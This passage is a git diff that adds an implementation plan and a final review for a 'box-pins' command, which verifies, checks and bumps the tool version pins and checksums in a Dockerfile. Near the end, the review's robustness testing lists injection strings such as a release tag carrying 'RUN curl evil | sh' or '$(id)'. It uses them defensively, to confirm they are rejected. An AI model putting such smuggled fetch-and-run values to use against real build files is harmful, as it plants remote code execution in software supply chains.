diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/plan.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/plan.md new file mode 100644 index 0000000..81741c7 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/plan.md @@ -0,0 +1,211 @@ +# kit-48-box-pins-command Implementation Plan + +## TL;DR + +- One script (`docs/devteam/scripts/devteam.mjs`) and one test file (`test/machine.test.mjs`); no new file outside this ticket's records. +- T1: the tool table, the Dockerfile reader, dispatch (`box-pins` in `KIT_VIEWS`, `installed` machine-wide, `--dockerfile`, exit 2 with no file) and offline `verify [--release]`. +- T2: the upstream reader (npm, PyPI, GitHub releases list, prereleases skipped, 15 s timeouts) and `check [--json]`, against an in-process fixture server. +- T3: `bump --release vX.Y.Z [--dry-run]`: new versions, sums from hashing the downloaded assets (cross-checked against GitHub's `digest`), all-or-nothing write. +- T4: `installed`: each tool by its absolute image path (`DEVTEAM_BOX_BIN` for tests), claude-swap through `UV_TOOL_DIR=/opt/uv/tools uv tool list`, compared with `DEVTEAM_BOX_TOOLS`. +- T5: help lines and the amended `KIT_VIEWS` comment; the whole machine test file and CI. +- Every task test-first; every new test spawns the kit with `pinsEnv(…)`, which deletes `DEVTEAM_IMAGE_HUB`, `DEVTEAM_KIT_RELEASE`, `DEVTEAM_BOX_TOOLS` (and the tokens), setting only what it means to; the test Dockerfile's pins are fixed values, so a real bump never breaks the tests. + +> **For agentic workers:** REQUIRED SUB-SKILL: superpowers:executing-plans (native: the five tasks build one command in one file, each on the last one's helpers). Steps use checkbox (`- [ ]`) syntax. A fresh subagent reviews each task (`reviews/task-.md`). + +**Goal:** `devteam.mjs box-pins verify|check|bump|installed`, the release tooling for the box image's pins. + +**Architecture:** A `BOX_TOOLS` table drives everything. `readPins(text)` parses the Dockerfile into `{ tools, release, problems }`; `verify`, `check` and `bump` build on it; `latestOf(tool)` is the one upstream reader; `bump` edits only `ARG` lines and re-verifies before an atomic write. `installed` shares only the table. + +**Tech Stack:** Node built-ins (`fetch`, `node:crypto`, `node:child_process`), `node --test`; Node 18–24 (CI matrix). + +**Spec:** `docs/devteam-dev/tickets/kit-48-box-pins-command/spec.md`. + +## Global Constraints + +- `devteam.mjs` stays one file, Node built-ins only, no relative imports; works on Node 18 (global `fetch`, `AbortSignal.timeout`, `res.arrayBuffer()`; no `Response.body` async iteration). So a download is hashed from its buffered body (`arrayBuffer()`, assets ≤ ~30 MB), not streamed as the spec's bump step 2 says: same hash, simpler on Node 18; a plan-level departure, stated here for the supervisor. +- No network in any test: `DEVTEAM_PINS_NPM`, `DEVTEAM_PINS_PYPI`, `DEVTEAM_PINS_GITHUB` point at one in-process `http` server on `127.0.0.1:0`. +- Exact strings (spec): `: current `, `: stale -> `, `: held `, `: unknown `; `box-pins verify: ok, tools, release `; `box-pins: no cloud/Dockerfile at (box-pins works on the kit's own checkout, or --dockerfile )` (exit 2); `box-pins bump: : ; nothing written`; `box-pins installed: DEVTEAM_BOX_TOOLS is not set (not the box image?)` (exit 2); `--json` shape `{ box_pins: 1, tools: [...] }` (or `{ box_pins: 1, problems: [...] }`); check exits 1 if any stale, else 3 if any unknown, else 0, and 2 for a missing or broken file; `box-pins bump: --release is older than DEVTEAM_RELEASE `. +- The hold line is `# hold: ` directly above `ARG

_VERSION=` (m-20261115-004401439-supervisor). +- Network strings printed only if they match `^[\w.+-]{1,64}$`, else `?`. +- Every kit test runs as `env -u DEVTEAM_RUN -u DEVTEAM_HOME -u DEVTEAM_ROLE -u DEVTEAM_TICKET -u DEVTEAM_FEATURE TMUX_TMPDIR=$(mktemp -d) node --test test/machine.test.mjs` (m-20261115-004401439-supervisor), wrapped by `node /data/home/code/devteam-dev/docs/devteam/scripts/devteam.mjs gate test -- ` (written as a script file, worker.md §3). +- Existing tests in `test/machine.test.mjs` pass unchanged. + +## Review Focus + +1. A real GitHub releases list where the newest entry is a backport on an older line (e.g. `1.6.9` published after `1.7.0`): latest is the highest version, not the first entry. T2 test `check takes the highest release, not the newest entry`. +2. A tool already at latest during bump: nothing downloaded for it, its sums untouched (an asset fixture that would 500 for it proves no download). T3 test `bump downloads nothing for a tool already current`. +3. A hostile upstream string (`version: "1.2.3\u001b[2J"` or 10 KB): not a release, `unknown`, printed safely. T2 test `check prints an upstream's junk as unknown, never raw`. +4. Two tools pinned at one version (ttyd and claude-swap both `1.0.0`): no pin `ARG` line counts as a stray literal, but a comment naming `1.0.0` does. T1 test `verify does not count another tool's own ARG as a stray literal`. +5. `installed` where a binary hangs or is missing: `did not run`, exit 1, within its 20 s timeout. T4 test `installed names a tool that is missing`. + +--- + +### Task 1: the table, the reader, dispatch and `verify` + +**Files:** +- Modify: `docs/devteam/scripts/devteam.mjs` (~424-445 `KIT_VIEWS` and its comments, `machineWide`; ~483 the `DEVTEAM_RUN` exemption; a new `// ===== box-pins =====` block after `cmdHub` ~13876; `COMMANDS` ~19212) +- Test: `test/machine.test.mjs` (a new section at the end) + +**Interfaces:** +- Produces: + - `const BOX_TOOLS = [{ name, prefix, source: 'npm'|'pypi'|'github', pkg?, repo?, assets?: { x86_64: (pin) => string, aarch64: (pin) => string }, run: [file, ...args], parse: (stdout) => string|null }]`, in the table order of the spec (claude-code, claude-swap, gh, ttyd, mise, uv). `assets` present ⇔ binary. + - `readPins(text) -> { lines: string[], tools: [{ tool, version, versionLine, sums: { x86_64?, aarch64? }, sumLines, hold: string|null }], release: string|null, releaseLine: number|null, problems: string[] }` (structure problems 1-5, 7, 8 of the spec; never the `--release` comparison). + - `pinForm(v, pinned) -> string` (strip a leading `v`, add one back iff `pinned` starts with `v`); `versionParts(v) -> number[]|null` (`^v?\d+(\.\d+)+$` only); `newer(a, b) -> boolean` (a > b by parts). + - `pinsFile() -> { file, text }` (reads `--dockerfile` or `/cloud/Dockerfile`; missing → the exit-2 line). + - `cmdBoxPins()` dispatching on `positional[0]`: `verify`, `check`, `bump`, `installed`; else the usage line and exit 1. + - `safe(s) -> string` (the `^[\w.+-]{1,64}$` filter, else `?`), used by T1's messages and T2–T4. +- Test helpers produced (for T2–T5): + - `FIXED = { CLAUDE_CODE: '2.1.307', CLAUDE_SWAP: '1.0.0', GH: '2.104.0', TTYD: '1.7.7', MISE: 'v2026.10.17', UV: '0.13.7' }`, `FIXED_RELEASE = 'v0.52.0'`, and fixed sums `fixedSum(arg) = sha256(arg)` hex. `pinsCopy(edit = (t) => t)` reads the real `cloud/Dockerfile`, rewrites every `ARG

_VERSION=`, `_SHA256_*=` and `DEVTEAM_RELEASE=` line to those fixed values, drops every line matching `/^\s*#\s*hold\b/i` (so a real hold landing in the Dockerfile never changes a test; plan-2 F1), then applies `edit`, writes it to a fresh temp file and returns its path. So every expected string in the tests below comes from `FIXED`, never from today's pins, and the release-prep bump of the real file never breaks a test (plan-1 F1). Only the "ok on the kit's own Dockerfile" case reads the real file, with no value hard-coded. + - `pinsRepo` (made once: a temp git repo, origin `git@github.com:sanctuarycomputer/devteam.git`, a copy of `docs/devteam` without `project/` and `run/`, no `cloud/`). + - `pinsEnv(extra = {})`: `baseEnv` with `DEVTEAM_IMAGE_HUB`, `DEVTEAM_KIT_RELEASE`, `DEVTEAM_BOX_TOOLS`, `DEVTEAM_PINS_NPM`, `DEVTEAM_PINS_PYPI`, `DEVTEAM_PINS_GITHUB`, `DEVTEAM_BOX_BIN`, `GH_TOKEN`, `GITHUB_TOKEN`, `UV_TOOL_DIR` deleted, then `extra`. + - `pins(args, env = {})`: `spawnSync` of the copied kit's `devteam.mjs box-pins …`, cwd `pinsRepo`, env `pinsEnv(env)`. `pinsAsync(args, env = {}) -> Promise<{ status, stdout, stderr }>`: the same with `execFile`, resolving on a non-zero exit (status from `err.code`), never rejecting on one; T2–T3 use it because the fixture server lives in the test process (plan-1 F6). + +- [ ] **Step 1: Write the failing tests** + +```js +test('box-pins verify: ok on the kit\'s own Dockerfile; exit 2 with none', () => { + const ok = pins(['verify', '--dockerfile', path.join(REPO, 'cloud/Dockerfile')]); + assert.equal(ok.status, 0, ok.stderr + ok.stdout); + assert.match(ok.stdout, /^box-pins verify: ok, 6 tools, release v\d+\.\d+\.\d+$/m); + const none = pins(['verify']); + assert.equal(none.status, 2); + assert.match(none.stdout + none.stderr, /no cloud\/Dockerfile at .*cloud\/Dockerfile/); +}); +test('box-pins verify names each problem and exits 1', () => { + const cases = [ + [(t) => t.replace(/^(ARG TTYD_SHA256_X86_64=)\w+$/m, '$1ABC'), /TTYD_SHA256_X86_64 is not 64 lowercase hex/], + [(t) => t.replace(/^ARG GH_SHA256_AARCH64=\w+\n/m, ''), /gh has no GH_SHA256_AARCH64/], + [(t) => t.replace(/^ARG DEVTEAM_RELEASE=.*$/m, 'ARG DEVTEAM_RELEASE=0.52'), /DEVTEAM_RELEASE 0\.52 is not vX\.Y\.Z/], + ]; + for (const [edit, re] of cases) { const r = pins(['verify', '--dockerfile', pinsCopy(edit)]); assert.equal(r.status, 1, String(re)); assert.match(r.stdout, re); } + const url = pins(['verify', '--dockerfile', pinsCopy((t) => t.replace('download/v$GH_VERSION/gh_${GH_VERSION}_linux', 'download/v2.104.0/gh_2.104.0_linux'))]); + assert.equal(url.status, 1); assert.match(url.stdout, /gh's version 2\.104\.0 is written outside its ARG \(line \d+: /); + const rel = pins(['verify', '--release', 'v1.2.3', '--dockerfile', pinsCopy()]); + assert.equal(rel.status, 1); assert.match(rel.stdout, /DEVTEAM_RELEASE is v\d+\.\d+\.\d+, not v1\.2\.3/); +}); +test('verify does not count another tool\'s own ARG as a stray literal', () => { + const f = pinsCopy((t) => t.replace(/^ARG TTYD_VERSION=.*$/m, 'ARG TTYD_VERSION=1.0.0')); // claude-swap is 1.0.0 too + assert.equal(pins(['verify', '--dockerfile', f]).status, 0); + const g = pinsCopy((t) => t.replace(/^(# ttyd, the web terminal)$/m, '$1 1.0.0')); + assert.match(pins(['verify', '--dockerfile', g]).stdout, /claude-swap's version 1\.0\.0 is written outside its ARG/); +}); +test('verify takes a hold above the _VERSION ARG, and refuses one with no reason', () => { + assert.equal(pins(['verify', '--dockerfile', pinsCopy((t) => t.replace(/^ARG MISE_VERSION=/m, '# hold: waiting on a fix\n$&'))]).status, 0); + const r = pins(['verify', '--dockerfile', pinsCopy((t) => t.replace(/^ARG MISE_VERSION=/m, '# hold:\n$&'))]); + assert.equal(r.status, 1); assert.match(r.stdout, /mise's hold has no reason/); + const far = pins(['verify', '--dockerfile', pinsCopy((t) => t.replace(/^# ttyd, the web terminal$/m, '# hold: bad build\n$&'))]); + assert.equal(far.status, 1); assert.match(far.stdout, /the hold on line \d+ is not directly above a _VERSION ARG/); + const odd = pins(['verify', '--dockerfile', pinsCopy((t) => t.replace(/^ARG MISE_VERSION=/m, '# Hold: x\n$&'))]); + assert.equal(odd.status, 1); assert.match(odd.stdout, /line \d+ looks like a hold but is not "# hold: "/); +}); +``` + +- [ ] **Step 2: Run them to see them fail** (script file running the gate command of Global Constraints with `--test-name-pattern 'box-pins verify|verify '`). Expected: FAIL, `no docs/devteam/project/settings.md here` (before `box-pins` is in `KIT_VIEWS`, startup refuses first; plan-1 F9). + +- [ ] **Step 3: Implement** `BOX_TOOLS`, `readPins`, `pinForm`, `versionParts`, `newer`, `pinsFile`, `cmdBoxPins` (`verify` only so far; `check`/`bump`/`installed` arms say `not yet` until their tasks), and the dispatch: `'box-pins'` added to `KIT_VIEWS`; `machineWide` and the `DEVTEAM_RUN` exemption gain `(command === 'box-pins' && positional[0] === 'installed')`; `COMMANDS['box-pins'] = cmdBoxPins`. The stray-literal scan (spec verify 4): skip every pin `ARG` line of the table, `ARG DEVTEAM_RELEASE=` and `# hold:` lines; in the rest, a version (without its `v`) matches `(?(?!\.?\d)`, a sum `(?(?![0-9a-fA-F])`. A line matching `/^\s*#\s*hold\b/i` that is not exactly `# hold: `, or not directly above a `_VERSION` ARG, is a problem (spec problem 8, so check and bump refuse on it too). `DEVTEAM_BOX_TOOLS` is the one line matching `^\s*(?:ENV\s+)?DEVTEAM_BOX_TOOLS="([^"]*)"`, whose pairs must be exactly the six `=$

_VERSION`. Problem wording, exactly: ` has no

_VERSION`, `'s

_VERSION is given times`, ` has no `, ` is not 64 lowercase hex`, `'s version is written outside its ARG (line : )`, `'s sum is written outside its ARG (line : )`, `no DEVTEAM_RELEASE`, `DEVTEAM_RELEASE is not vX.Y.Z`, `DEVTEAM_RELEASE is , not `, `DEVTEAM_BOX_TOOLS does not name =$

_VERSION`, `DEVTEAM_BOX_TOOLS names , which is no tool's`, `no DEVTEAM_BOX_TOOLS` / `DEVTEAM_BOX_TOOLS is given times`, `'s hold has no reason`, `the hold on line is not directly above a _VERSION ARG`, `line looks like a hold but is not "# hold: "`. Values in a message pass through the `^[\w.+-]{1,64}$` filter. + +- [ ] **Step 4: Run to pass**, then the whole file (existing tests unchanged). Expected: PASS. + +- [ ] **Step 5: Commit** `kit-48 T1: box-pins verify, the table and the reader`. + +### Task 2: the upstream reader and `check` + +**Files:** Modify `docs/devteam/scripts/devteam.mjs` (box-pins block); Test `test/machine.test.mjs`. + +**Interfaces:** +- Consumes: T1's `BOX_TOOLS`, `readPins`, `pinForm`, `versionParts`, `newer`, `pinsFile`. +- Produces: `async latestOf(tool, pinned) -> { version, release? }` (throws `Error(why)`; `release` is the chosen GitHub release object, for T3's assets); `async checkPins(pins) -> [{ name, pinned, status, latest?, reason?, why? }]`. +- Test helper produced: `async upstream(t)` → `{ url, state }`, an `http` server on `127.0.0.1:0`, `unref()`'d and closed in `t.after` (so a failed assertion can't hang the file; plan-1 F8), whose `state` holds `npm` (by package → version), `pypi` (by package → version), `releases` (by repo → the list) and `assets` (by path → `{ status?, body }`); every request is pushed to `state.hits` as `{ path, headers }` (plan-1 F5). `upEnv(u)` → the three `DEVTEAM_PINS_*` vars at `u.url + '/npm'`, `'/pypi'`, `'/gh'`. Fixture default: every tool one release newer than `FIXED`, each GitHub release listing both arch assets with `browser_download_url` `/dl//` (answered 302 to `/assets//`), bytes `//` (distinct per asset), and a `digest` of their real sha256. + +- [ ] **Step 1: Failing tests** + +```js +test('box-pins check: one line per tool; stale exits 1; held, current; --json the same', async () => { /* stale for all six → status 1, lines `ttyd: stale 1.7.7 -> 1.7.8` …; a hold on gh → `gh: held `, no hit on cli/cli; fixture latest == pins and gh held → status 0, `current` lines; --json parses to the same statuses with box_pins: 1 */ }); +test('check ignores a GitHub prerelease and a draft, and takes the highest release, not the newest entry', async () => { /* ttyd list: [{tag 1.9.0, prerelease: true}, {tag 2.0.0, draft: true}, {tag 1.6.9}, {tag 1.7.8}] (plain tags, so only the flags exclude them; plan-1 F2) → `ttyd: stale 1.7.7 -> 1.7.8` */ }); +test('check reports an unreachable upstream as unknown, and junk as unknown, never raw', async () => { /* DEVTEAM_PINS_NPM at a closed port → `claude-code: unknown …` and exit 3 when nothing else is stale; pypi version '1.2.3\u001b[2J' → `claude-swap: unknown not a release: ?`; stdout has no \u001b */ }); +test('check sends GH_TOKEN to the GitHub API, and nowhere else', async () => { /* GH_TOKEN=fake-token: every hit under /gh has headers.authorization === 'Bearer fake-token'; no hit under /npm or /pypi has an authorization header */ }); +test('check on a broken file exits 2 with its problems, in --json too', async () => { /* TTYD_SHA256_X86_64 removed → status 2, `box-pins check: ttyd has no TTYD_SHA256_X86_64`; --json → { box_pins: 1, problems: [ … ] }, status 2 */ }); +``` + +The fixture's `browser_download_url`s are `/dl/…`, answered with a 302 to `/assets/…` (both outside `/gh`, the `DEVTEAM_PINS_GITHUB` base), distinct bytes per asset. Each test spawns with `pinsAsync` (T1), since the fixture server lives in the test process. + +- [ ] **Step 2: Run, see fail** (`not yet`). +- [ ] **Step 3: Implement** `latestOf` (npm `GET //latest` → `.version`; PyPI `GET /pypi//json` → `.info.version`; GitHub `GET /repos//releases?per_page=30`, filter `!draft && !prerelease && versionParts(tag_name)`, max by `newer`; headers `accept: application/vnd.github+json`, `user-agent: devteam-box-pins`, `authorization: Bearer $GH_TOKEN` only here and only when set; `AbortSignal.timeout(15000)`; a non-2xx is `HTTP `, a fetch error `unreachable ()`, a version that fails `versionParts` `not a release: `), `checkPins`, and the `check` arm (`--json`; exit 1 if any stale, else 3 if any unknown, else 0; `readPins` problems → exit 2 as the spec says). +- [ ] **Step 4: Run to pass**, whole file. +- [ ] **Step 5: Commit** `kit-48 T2: box-pins check`. + +### Task 3: `bump` + +**Files:** Modify `docs/devteam/scripts/devteam.mjs`; Test `test/machine.test.mjs`. + +**Interfaces:** +- Consumes: T1, T2 (`latestOf` returns the GitHub release with its `assets`). +- Produces: `async bumpPins(text, release) -> { text, changes: [{ arg, from, to }], held: [{ name, reason }] }` (throws `Error(': ')`). + +- [ ] **Step 1: Failing tests** + +```js +test('box-pins bump --release v9.9.9 sets each unheld tool to latest with the assets\' real sums', async () => { /* hold on uv; after bump: each ARG _VERSION == fixture latest in pin form; each _SHA256_* == sha256 of the fixture asset bytes for that arch; UV lines identical to before; DEVTEAM_RELEASE=v9.9.9; `verify --release v9.9.9` exits 0 */ }); +test('bump --dry-run prints the change and leaves the file byte-identical', async () => { /* stdout has `TTYD_VERSION ${FIXED.TTYD} -> ` and `--dry-run: nothing written`; file sha equal before/after */ }); +test('bump writes nothing when an upstream fails, or a digest disagrees', async () => { /* gh's arm64 asset answers 500 → exit 1, `box-pins bump: gh: …; nothing written`, file byte-identical; a second run with mise's asset digest 'sha256:' + '0'.repeat(64) → exit 1, names mise */ }); +test('bump sends no token with a download', async () => { /* GH_TOKEN=fake-token, bump --release v9.9.9: hits under /gh carry the token; no hit under /dl, /assets, /npm or /pypi has an authorization header (plan-1 F4, F5) */ }); +test('bump keeps the file\'s mode, and writes nothing when nothing changes', async () => { /* copy chmod 0o640 → after bump, mode & 0o777 === 0o640; then fixture latest == the new pins and --release the same v9.9.9 → stdout `unchanged`, mtimeMs and bytes the same (plan-1 F12) */ }); +test('bump and check refuse a malformed hold', async () => { /* `# Hold: x` above ARG MISE_VERSION: bump --release v9.9.9 → exit 1, file byte-identical, no upstream hit; check → exit 2 */ }); +test('bump refuses a --release older than the stamp', async () => { /* --release v0.1.0 → exit 1, `--release v0.1.0 is older than DEVTEAM_RELEASE`, no upstream hit, file unchanged */ }); +test('bump downloads nothing for a tool already current', async () => { /* ttyd's fixture latest = 1.7.7 and its assets answer 500 → exit 0, no hit on ttyd's asset paths, TTYD lines unchanged */ }); +``` + +- [ ] **Step 2: Run, see fail.** +- [ ] **Step 3: Implement** `bumpPins` and the `bump` arm: refuse a missing or malformed `--release` (usage, exit 1); refuse on `readPins` problems (printed, exit 1); for each unheld tool, `latestOf`; skip unless `newer(latest, pinned)`; for a binary tool, for each arch find `release.assets` by `tool.assets[arch](newPin)`, `fetch(browser_download_url, { signal: AbortSignal.timeout(120000) })`, sha256 of `arrayBuffer()`, compare with `digest` when it starts `sha256:`; replace only lines `versionLine`, `sumLines[arch]`, `releaseLine`; re-run `readPins` plus the release check on the result and throw if any problem; unless `--dry-run`, write `..tmp` in the Dockerfile's own directory with the original's mode, then rename (skip and print `unchanged` when the text is identical). +- [ ] **Step 4: Run to pass**, whole file. +- [ ] **Step 5: Commit** `kit-48 T3: box-pins bump`. + +### Task 4: `installed` + +**Files:** Modify `docs/devteam/scripts/devteam.mjs`; Test `test/machine.test.mjs`. + +**Interfaces:** +- Consumes: T1's `BOX_TOOLS` (`run`, `parse`), `pinForm`, `safe`. +- Produces: the `installed` arm. + +- [ ] **Step 1: Failing tests** (fake binaries are `#!/bin/sh` scripts written with the file's `write`, then `fs.chmodSync(f, 0o755)` (plan-1 F10); the kit is a copy of `docs/devteam` in a temp folder that is no repo; cwd `nowhere`; env `pinsEnv({ DEVTEAM_BOX_BIN, DEVTEAM_BOX_TOOLS, PATH })`, so the three image vars are cleared and only `DEVTEAM_BOX_TOOLS` set (plan-1 F3)): + +```js +const TOOLS_ENV = 'claude-code=2.1.307 claude-swap=1.0.0 gh=2.104.0 ttyd=1.7.7 mise=v2026.10.17 uv=0.13.7'; +test('box-pins installed reads each tool by its image path and claude-swap from the image\'s tool dir', () => { + // boxBin: claude -> '2.1.307 (Claude Code)'; gh -> 'gh version 2.104.0 (2026-10-01)\nhttps://github.com/cli/cli/releases/tag/v2.104.0'; + // ttyd -> 'ttyd version 1.7.7-40e79c7'; mise -> '2026.10.17 linux-x64 (2026-10-17)'; + // uv: `--version` -> 'uv 0.13.7 (abc1234 2026-10-01)'; `tool list` -> 'claude-swap v1.0.0\n- claude-swap\n- cswap' only when "$UV_TOOL_DIR" = /opt/uv/tools, else 'No tools installed' + // shimBin (first on PATH): uv -> 'uv 0.9.0', and claude, gh, ttyd, mise printing wrong versions + // run with DEVTEAM_BOX_BIN=boxBin, DEVTEAM_BOX_TOOLS=TOOLS_ENV, PATH=shimBin:… → status 0, six `: ` lines +}); +test('installed exits 1 naming the tool that differs, or is missing', () => { /* TOOLS_ENV with gh=2.105.0 → status 1, `gh: installed 2.104.0, pinned 2.105.0`; boxBin without ttyd → `ttyd: did not run`, status 1 */ }); +test('installed without DEVTEAM_BOX_TOOLS exits 2', () => { /* `DEVTEAM_BOX_TOOLS is not set (not the box image?)` */ }); +``` + +- [ ] **Step 2: Run, see fail.** +- [ ] **Step 3: Implement** the arm: `bin = process.env.DEVTEAM_BOX_BIN || '/usr/local/bin'`; for each tool `spawnSync(path.join(bin, file), args, { encoding: 'utf8', timeout: 20000, env: { ...process.env, ...(tool.name === 'claude-swap' ? { UV_TOOL_DIR: '/opt/uv/tools' } : {}) } })`; never `shell`; `parse` as the spec says; compare `pinForm(found, pin)` with the pin. +- [ ] **Step 4: Run to pass**, whole file. +- [ ] **Step 5: Commit** `kit-48 T4: box-pins installed`. + +### Task 5: help, the comment, the whole file and CI + +**Files:** Modify `docs/devteam/scripts/devteam.mjs` (HELP "Dashboard and releases" ~19190; the comments above `KIT_VIEWS` ~424-428); Test `test/machine.test.mjs`. + +- [ ] **Step 1: Failing test** `help names box-pins and says only the top package of npm and PyPI tools is pinned`: `spawnSync(process.execPath, [KIT, 'help'], { cwd: nowhere, encoding: 'utf8', env: pinsEnv() })` stdout matches `/box-pins verify/`, `/check \[--json\]/`, `/bump --release vX\.Y\.Z/`, `/box-pins installed/`, `/only the top package/`. +- [ ] **Step 2–4:** add the help lines: `box-pins verify [--release vX.Y.Z] | check [--json] | bump --release vX.Y.Z [--dry-run] [--dockerfile p] the box image's tool pins in cloud/Dockerfile, in the kit's own checkout: offline stamp check, which are behind upstream, and the release-prep bump (fresh sums); only the top package of the npm and PyPI tools is pinned, their dependencies resolve at build` and `box-pins installed inside the box image: what each tool reports at its image path, against DEVTEAM_BOX_TOOLS`. Amend the comments: "its read-only views run there … nothing in them writes" becomes "its views run there as they always did, over no tickets: nothing in them writes but `box-pins bump`, which rewrites only cloud/Dockerfile's pins". Run the whole file through the gate; push; CI green on every job. +- [ ] **Step 5: Commit** `kit-48 T5: help and the KIT_VIEWS comment`. + +## Rulings + +- m-20261115-004401439-supervisor: hold line above `_VERSION`; the env-cleared test command. +- m-20261115-011227101-supervisor: spec approved at c989c4a, its calls beyond the done-whens included (check exits 3 on unknown-and-none-stale and 2 on a broken file; bump refuses an older --release; verify checks DEVTEAM_BOX_TOOLS). The supervisor reads the whole plan once its review passes (risk high). +- m-20261115-012104539-supervisor: plan approved (read whole); buffered hashing is fine. The PR body's "doesn't defend against" line must say: bump pins whatever upstream publishes (trust on first download, cross-checked only against GitHub's own digest), so a compromised upstream release would be pinned; the reviewed release-prep PR is the check. + +### Builder rulings (made while building; each with its cost if wrong) + +- T2: the check line helper is `pinsCheckLine`, since `checkLine` already names the log validator. Cost: none. +- T2 (task-2 F2): a `_VERSION` that is not a plain version is a verify problem, so check and bump refuse it rather than reading it `current` for ever. Cost: a tool pinned to a prerelease on purpose needs the plain version or a hand edit; none today. +- T2 (task-2 F1, F4): `DEVTEAM_PINS_TIMEOUT_MS` (tests only) bounds every upstream request and download, so the timeout paths are tested without a 15 s or 120 s wait. Cost: one more env knob. +- T2 (task-2 F6): `latestOf(tool)` takes no pin (the plan's `latestOf(tool, pinned)` was a slip; it never needed one). Cost: none. +- T3 (task-3 F4): bump writes through a symlinked `--dockerfile` to its real path. Cost: none. diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1.md new file mode 100644 index 0000000..32f3fce --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/final-1.md @@ -0,0 +1,55 @@ +# Final review, pass 1 (track A) + +- Reviewer: final-a (fresh subagent of the supervisor, claude-opus) +- Reviewed: ee9607c4031bd702f8c5ba4641731fa5b81787d1 (the whole branch; kit PR #241, ticket/kit-48-box-pins-command) + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Minor | spec acceptance 1 (CI, every job) | PR #241 checks at ee9607c, test.yml run 43667157099 | `kit (22, rest)` was **cancelled at the 30-minute job timeout** (last output 02:22:51, cancelled 02:48:43; the reporter stopped after host-claim.test.mjs, so the stalled file can't be named from the log). The other 7 kit jobs and box-image `build` pass. The only change from 3bd1bc3 to ee9607c is verification.md, and at 3bd1bc3 every job passed (run 43666447843, `kit (22, rest)` in 297 s). Locally at ee9607c, machine.test.mjs passed 47/48. The one failure was kit-46's untouched drip-timing test ("status names the hub…"), which failed under load from my concurrent mutation runs and passed when run alone. So this looks like a flake, not a defect in this ticket, but CI at this exact head is red. Don't merge until a rerun of the failed job is green. | deferred (Minor): a CI timeout of kit (22, rest), not a test failure; the supervisor re-ran the job | +| F2 | Minor | spec verify problem 3 / acceptance 2 ("64 lowercase hex") | test/machine.test.mjs, verify cases | The bad-sum case is `ABC`, which has the wrong length. A mutation that accepts uppercase (`[0-9a-fA-F]{64}`) passes every test (M16 below). The code is right. The lowercase rule just has no test. | deferred (Minor): the code rejects uppercase; an uppercase-sum test case is a follow-up | +| F3 | Minor | spec Security ("GH_TOKEN is sent only to the GitHub API base") | devteam.mjs `upstreamJson` (fetch's default `redirect: 'follow'`) | A cross-origin redirect of an API request drops the `Authorization` header only because undici's fetch strips it. I confirmed this on Node 18.20.4 and 22.23.4, and with the kit itself: an API 302 to another origin arrived with no auth. No code or test pins it, though. `redirect: 'error'` (or `'manual'`) on API requests, or a fixture case, would. | deferred (Minor): the header is dropped on a cross-origin redirect by fetch itself; an explicit redirect: 'error' on API calls is a follow-up | +| F4 | Minor | spec bump step 4 (atomic, all-or-nothing) | devteam.mjs `cmdBoxPins` bump write | Bump reads the file, then spends up to 120 s per download, then renames over it without checking that the file is unchanged. An edit made during that window (say a `# hold:` added) is silently overwritten. Temp+rename is atomic for a crash (no fsync before the rename; ext4's rename heuristic covers most of that). | deferred (Minor): bump is run by hand in the release-prep checkout; a check that the file is unchanged before the rename is a follow-up | +| F5 | Minor | spec Edge cases ("A why is built from our own words…") | devteam.mjs `bumpPins` | A release whose `assets` is not an array prints a raw JS TypeError: `gh: ((intermediate value) ?? []).find is not a function; nothing written`. It's safe: no upstream text, and nothing is written. But it isn't our words. Similarly, an npm `version` of `["2.1.400"]` is coerced by `String()` and accepted. The written value is still a plain version, so nothing is injected. | deferred (Minor): safe, nothing written; a non-array assets guard is a follow-up | +| F6 | Suggestion | none | devteam.mjs `readPins` `argLines` | Dockerfile instructions are case-insensitive, and an indented or lowercase `arg GH_VERSION=…` would be honoured by BuildKit but not seen by verify. This matches the spec's `^ARG =$` rule, so it's not a defect. | deferred (Suggestion): matches the spec's ARG form and kit-47's rule; lowercase/indented ARGs are a follow-up | + +## What I checked + +- Read quality.md §3, then the spec, the plan's Rulings and Builder rulings, verification.md, the task-review verdicts (every task's latest pass approves), the kit-48 section of the design, and the full diff `origin/main...ee9607c` outside `docs/devteam-dev` (devteam.mjs +329, machine.test.mjs +479; no file added). +- Went through the spec against the code, item by item. Verify problems 1 to 8 all match the spec, including the stray regexes, the exempt lines, the `DEVTEAM_BOX_TOOLS` line regex, and the hold forms (exact form, empty reason, indented or any case, not directly above a tool's `_VERSION`). The builder's extra "not a plain version" problem was ruled in T2. Check: endpoints, `%2f`, `per_page=30` with draft, prerelease and plain-tag filtering, highest version, 15 s timeout, line formats, exit 1/3/0 and 2 on a broken file, and the `--json` shapes. Bump: refuses on structure problems and on an older `--release` (an equal one is allowed); downloads only for an unheld tool whose latest is newer; per-arch asset name from the table in pin form; a mismatched digest fails; the result is re-verified at `--release` in memory; temp file beside the real path, given the original's mode, then renamed; `unchanged`; `--dry-run`. Installed: `path.join(path.resolve(bin), file)` with no shell, so PATH is never searched; `UV_TOOL_DIR=/opt/uv/tools` only for `uv tool list`; 20 s timeout; normalised to the pin's form; exit codes; the machineWide and `DEVTEAM_RUN` exemptions apply only to `installed`. +- `box-pins verify` on the real `cloud/Dockerfile` gives `ok, 6 tools, release v0.52.0`. +- Tests, run as instructed: 47/48 at ee9607c. The one failure is the pre-existing kit-46 timing test under my machine's load, and it passes alone. Every new box-pins test passes (25/25 on a filtered run). +- CI: `gh pr checks 241` (see F1). + +## What I tried to break, and how it held + +Against a local fake npm, PyPI and GitHub, running the kit's `box-pins bump --release v0.52.1` and `check` on a copy of the real Dockerfile with `GH_TOKEN=SECRET`: + +- **A GitHub tag with a newline** (`v2.105.0\nRUN curl evil | sh`), shell metacharacters (`v2.105.0;$(id)`), or an ESC sequence: filtered out as not a release. Check says `unknown no release`, bump says `gh: no release; nothing written`, and the file is byte-identical. `versionParts` is anchored with no `m` flag, and `newer()` is false whenever either side isn't plain, so a non-version can never be "newer" and written. +- **npm `version` with `&& curl x` or a newline:** `unknown not a release: ?`, and bump writes nothing. +- **Asset failures** all print a message, exit 1 and leave the file byte-identical: an aarch64 